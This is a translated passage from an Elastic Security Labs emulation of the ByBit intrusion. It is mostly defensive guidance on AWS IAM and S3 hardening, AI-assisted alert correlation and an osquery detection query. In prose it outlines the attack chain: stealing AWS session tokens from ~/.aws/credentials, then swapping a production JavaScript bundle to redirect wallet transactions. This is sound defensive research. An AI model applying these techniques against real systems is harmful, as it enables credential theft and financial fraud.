在本次攻击中,对手利用了通过 GetSessionToken API(结合 MFA)签发、带有 ASIA* 前缀的被盗 AWS 用户会话令牌。这些凭据很可能取自 macOS 开发者环境——来自导出的环境变量或默认 AWS 配置路径(如 ~/.aws/credentials)。

为缓解此类访问,组织可实施以下防御策略:

  1. 缩短会话令牌生命周期并远离 IAM 用户:避免向 IAM 用户签发长期会话令牌。改为强制较短令牌时长(例如 1 小时或更短),并为所有真人用户采用 AWS SSO(IAM Identity Center)。这使会话令牌短暂、可审计,并与身份联合绑定。对 IAM 用户完全禁用 sts:GetSessionToken 权限是最强手段,而 IAM Identity Center 支持这一过渡。
  2. 对 IAM API 使用强制会话上下文限制:实施 IAM 策略条件块,若请求使用临时凭据,则显式拒绝敏感 IAM 操作,如 iam:CreateVirtualMFADeviceiam:AttachUserPolicy。这可确保攻击中所用的基于会话的密钥无法提权或修改身份构造。
  3. 将 MFA 注册限制在受信路径:除非来自受信网络、设备或 IAM 角色,否则阻止通过会话令牌创建 MFA 设备(CreateVirtualMFADeviceEnableMFADevice)。使用 aws:SessionTokenaws:ViaAWSService 作为策略上下文键强制执行。这将阻止对手利用被劫持会话尝试基于 MFA 的持久化。

S3 应用层加固(前端篡改)

获得 AWS 会话令牌后,对手并未进行任何 IAM 枚举——而是迅速转向 S3 操作。使用 AWS CLI 与临时凭据,他们列出 S3 桶并修改托管在公共 S3 桶上的静态前端 JavaScript。这使他们能用恶意变体替换生产 Next.js 包,该变体旨在根据特定钱包地址重定向交易。

为防止此类前端篡改,请实施以下加固策略:

  1. 用 S3 Object Lock 强制不可变:在托管静态前端内容的桶上启用合规或治理模式的 S3 Object Lock。这可在规定保留期内阻止覆盖或删除文件——即便是被攻陷用户。Object Lock 提供强不可变保证,适合面向公众的应用层。仍可通过部署角色允许放入新对象(而非覆盖)。
  2. 用 Subresource Integrity(SRI)实现内容完整性:在 index.html 的 <script> 标签中包含 SRI 哈希(如 SHA-256),确保前端仅执行已知、已验证的 JavaScript 包。在本次攻击中,缺少完整性检查使任意 JavaScript 能从 S3 桶提供并执行。SRI 本可在浏览器层面阻止该行为。
  3. 用 CI/CD 部署边界限制上传访问:开发者绝不应拥有对生产 S3 桶的直接写权限。为开发与 CI/CD 部署使用独立 AWS 账户或 IAM 角色。仅应允许经 OIDC 认证的 GitHub Actions 或受信 CI 流水线向上传前端包到生产桶。这可确保即便人员凭据被攻陷,也无法污染生产。
  4. 通过 CloudFront 签名 URL 锁定访问或使用 S3 版本控制:若前端经 CloudFront 分发,使用签名 URL 限制对 S3 的访问,并移除对 S3 源的公共访问。这增加代理与控制层。或者启用 S3 版本控制,并监控关键资产(如 /static/js/*.js)的覆盖事件。这有助于发现试图替换前端文件的对手篡改。

Attack Discovery(AD)

完成端到端攻击模拟后,我们测试了 Elastic 新的 AI Attack Discovery 功能,看它能否将入侵各阶段串联起来。Attack Discovery 与你选择的 LLM 集成,分析整个技术栈中的告警并生成连贯攻击叙事。这些叙事帮助分析师快速理解发生了什么、缩短响应时间并获得高层上下文。在我们的测试中,它成功将终端攻陷与 AWS 入侵关联,提供了分析师可用于采取知情行动的统一故事。

Elastic Attack Discovery

图 23:Elastic Attack Discovery

OSQuery

在通过 Elastic Agent 运行 Elastic Defend 时,还可部署 OSQuery Manager 集成,在 Fleet 中集中管理所有 agent 上的 Osquery。这使你能用分布式 SQL 查询主机数据。在测试 Docker 化恶意应用时,我们用 OSQuery 检查端点,并成功识别以特权权限运行的容器。

SELECT name, image, readonly_rootfs, privileged FROM docker_containers

Elastic OSQuery Live Query

图 24:Elastic OSQuery Live Query

我们将该查询安排为定期运行,结果回传到 Elastic Stack。据此构建基于阈值的检测规则:每当用户系统上出现过去七天内未曾观察到的新特权容器时即告警。

结论

ByBit 攻击是归咎于朝鲜威胁行为体、影响最为深远的入侵之一——得益于详细报告与可用制品,它也为防御者提供了端到端模拟完整攻击链的难得机会。通过复现对 SAFE 开发者 macOS 工作站的攻陷——包括初始访问、载荷执行与 AWS 跳转——我们针对真实世界国家级手法验证了检测能力。

本次模拟不仅揭示了技术洞见——例如 PyYAML 反序列化可被滥用于获得初始访问——也强化了运营防御的关键教训:用户意识的价值、基于行为的 EDR 覆盖、安全的开发者工作流、有效的云 IAM 策略、云日志记录,以及跨平台的整体检测/响应。

对手不断创新,防御者也是如此——这类研究有助于扭转天平。我们鼓励你关注 @elasticseclabs,并在 elastic.co/security-labs 查阅我们的威胁研究,以领先于不断演进的对手技术。

参考资料

  1. Bybit – What We Know So Far
  2. Safe.eth on X: “Investigation Updates and Community Call to Action”
  3. Cryptocurrency APT Intelligence: Unveiling Lazarus Group’s Intrusion Techniques
  4. Slow Pisces Targets Developers With Coding Challenges and Introduces New Customized Python Malware
  5. Code of Conduct: DPRK’s Python-fueled intrusions into secured networks
  6. Elastic catches DPRK passing out KANDYKORN

非官方简体中文翻译 · 原文 © Elastic Security Labs · 源链接:https://www.elastic.co/security-labs/threat-command/bit-bybit